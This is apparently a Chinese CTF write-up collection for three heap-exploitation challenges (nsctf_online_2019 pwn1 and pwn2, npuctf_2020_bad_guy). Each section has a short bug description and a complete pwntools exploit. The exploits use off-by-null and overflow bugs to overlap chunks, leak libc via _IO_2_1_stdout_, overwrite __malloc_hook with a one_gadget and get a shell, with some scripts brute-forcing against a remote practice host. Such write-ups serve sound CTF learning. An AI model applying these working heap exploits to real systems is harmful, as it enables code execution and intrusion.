目录
nsctf_online_2019_pwn1(堆重叠,_IO_2_1_stdout_泄露libc)
添加没有太大限制,但是会把之前内容清空
删除没有指针悬挂,并且没有show功能
edit有一个off-by-null
利用思路
因为本题的memset清0使得题目变得复杂了一点
- 进行4次add,之后删除0,并且利用off-by-null把0,1,2合并
add(0xf8, 'chunk0\n')
add(0x68, 'chunk1\n')
add(0xf8, 'chunk2\n')
add(0x18, 'chunk3\n')
- 合并之后申请一次0xf8(index0),再次add,此时重新申请出和chunk1相同地址的chunk,index为2
- 再利用off-by-null进行堆重叠,这次申请一次0xf8,把main_arena+0x58的地址留在index1的fd,这时删除0又add 0x102,就可以利用partial rewrite把
_IO_2_1_stdout_
附近的地址写上去(需要爆破1位) - 泄露出libc地址之后,删除1,使用2的编辑功能在fd写上
__malloc_hook-0x23
的地址,在__malloc_hook
处写上one_gadget就行
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 27089)
#r = process("./nsctf_online_2019_pwn1")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xED3)
x/10gx $rebase(0x2020A0)
c
''')
def debug():
gdb.attach(r,
'''
b *$rebase(0xED3)
x/10gx $rebase(0x2020A0)
c
''')
elf = ELF("./nsctf_online_2019_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "5.exit\n"
def add(size, name):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the size:\n")
r.sendline(str(size))
r.recvuntil("Input the content:")
r.send(name)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Input the index:\n")
r.sendline(str(index))
def edit(index, size, content):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the index:\n")
r.sendline(str(index))
r.recvuntil("Input size:\n")
r.sendline(str(size))
r.recvuntil("Input new content:\n")
r.send(content)
def pwn():
add(0xf8, 'chunk0\n')
add(0x68, 'chunk1\n')
add(0xf8, 'chunk2\n')
add(0x18, 'chunk3\n')
delete(0)
payload = 'a'*0x60 + p64(0x170)
edit(1, 0x68, payload)
delete(2)
add(0xf8, 'chunk0\n')#0
add(0x68, 'aaa\n')#2 same as 1
add(0xf8, 'aa\n')#4
delete(0)
payload = 'a'*0x60 + p64(0x170)
edit(1, 0x68, payload)
delete(4)
delete(1)#fastbin
add(0xf8, 'aa\n')#0
delete(0)
payload = 'a'*0xf0 + p64(0) + p64(0x71) + '\xdd\x85'
add(0x102, payload)
payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'
add(0x68, p64(0))#1
add(0x59, payload)#4 stdout
libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
success("libc:"+hex(libc.address))
malloc_hook = libc.sym['__malloc_hook']
one_gadget = libc.address + one_gadget_16[3]
delete(1)
edit(2, 8, p64(malloc_hook-0x23))
add(0x68, 'aa\n')
payload = 'a'*0x13 + p64(one_gadget)
add(0x68, payload)
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the size:\n")
r.sendline('10')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 28756)
try:
pwn()
except:
r.close()
npuctf_2020_bad_guy(house of Roman?)
题目分析
edit函数可以进行堆溢出,不限溢出长度
漏洞利用
据某大佬说这题用的是house of Roman的办法
虽然我一直没太搞懂什么是house of Roman,不过我觉得这题和之前做的题目区别不是很大
利用过程:
- 申请0x18, 0xc8, 0x60三个heap 0,1,2,并在0xc8中伪造chunk head
- 删除0xc8,然后从新申请回来,并在fd处爆破
_IO_2_1_stdout_
附近的地址 - 再申请两个0x68大小的Heap3,4,然后依次删除2和4,利用3的溢出让4的fd指向1
- 如果运气好我们就能泄露出libc地址,之后再把1删了并且利用0的溢出在1的fd写入
__malloc_hook-0x23
地址
Exp
from pwn import *
#r = remote("node3.buuoj.cn", 25023)
#r = process("./npuctf_2020_bad_guy")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xDEB)
x/10gx $rebase(0x202040)
c
''')
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = ">> "
def add(index, size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("Content:")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(index))
def edit(index, size, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.send(content)
def pwn():
add(0, 0x18, 'aa')
add(1, 0xc8, 'aa')#0x20
add(2, 0x68, 'aa')#0xf0
payload = 'a'*0x68 + p64(0x61)
edit(1, 0xc8, payload)
delete(1)
add(1, 0xc8, '\xdd\x85')
add(3, 0x68, 'a')
add(4, 0x68, 'a')
edit(0, 0x20, 'a'*0x18 + p64(0x71))
delete(2)
delete(4)
payload = 'a'*0x68 + p64(0x71) + '\x20'
edit(3, len(payload), payload)
add(2, 0x68, 'a')
add(4, 0x68, 'a')
payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88'
add(5, 0x68, payload)
libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
success("libc:"+hex(libc.address))
malloc_hook = libc.sym['__malloc_hook']
one_gadget = libc.address + one_gadget_16[3]
delete(1)
edit(0, 0x28, 'a'*0x18 + p64(0x71) + p64(malloc_hook-0x23))
add(6, 0x68, 'a')
add(7, 0x68, 'a'*0x13 + p64(one_gadget))
r.sendlineafter('>> ', '1')
r.sendlineafter('Index :', '2')
r.sendlineafter('size: ', '96')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 28796)
try:
pwn()
except:
r.close()
nsctf_online_2019_pwn2
功能挺多
然而几乎没有漏洞,只有update name处有1byte溢出
本题就围绕这个溢出做文章
利用思路:
- 申请0x80和0x10(防止合并),然后用溢出改回0x80的chunk,将其释放,申请一个1大小就能泄露出libc
- 剩下的unsorted bin的chunk大小正好为0x70,申请出来又释放,再申请0x10,利用溢出改回0x70的地方,在fd写上
__malloc_hook-0x23
的地址
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 27534)
#r = process("./nsctf_online_2019_pwn2")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCB7)
x/10gx $rebase(0x202090)
c
''')
elf = ELF("./nsctf_online_2019_pwn2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "6.exit\n"
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the size\n")
r.sendline(str(size))
def delete():
r.recvuntil(menu)
r.sendline('2')
def edit_name(name):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Please input your name\n")
r.send(name)
def show():
r.recvuntil(menu)
r.sendline('3')
def edit(content):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Input the note\n")
r.send(content)
r.recvuntil("Please input your name\n")
r.sendline('KMFL')
add(0x80)
add(0x10)#0x90
name='a'*0x30 + '\x10'
edit_name(name)
delete()
add(1)#0xb0
edit('\x78')
show()
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym['realloc']
add(0x68)#20
delete()
add(0x10)
name='a'*0x30 + '\x30'
edit_name(name)
edit(p64(malloc_hook-0x23))
add(0x68)
add(0x68)
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc+0x10)
edit(payload)
add(0x10)
r.interactive()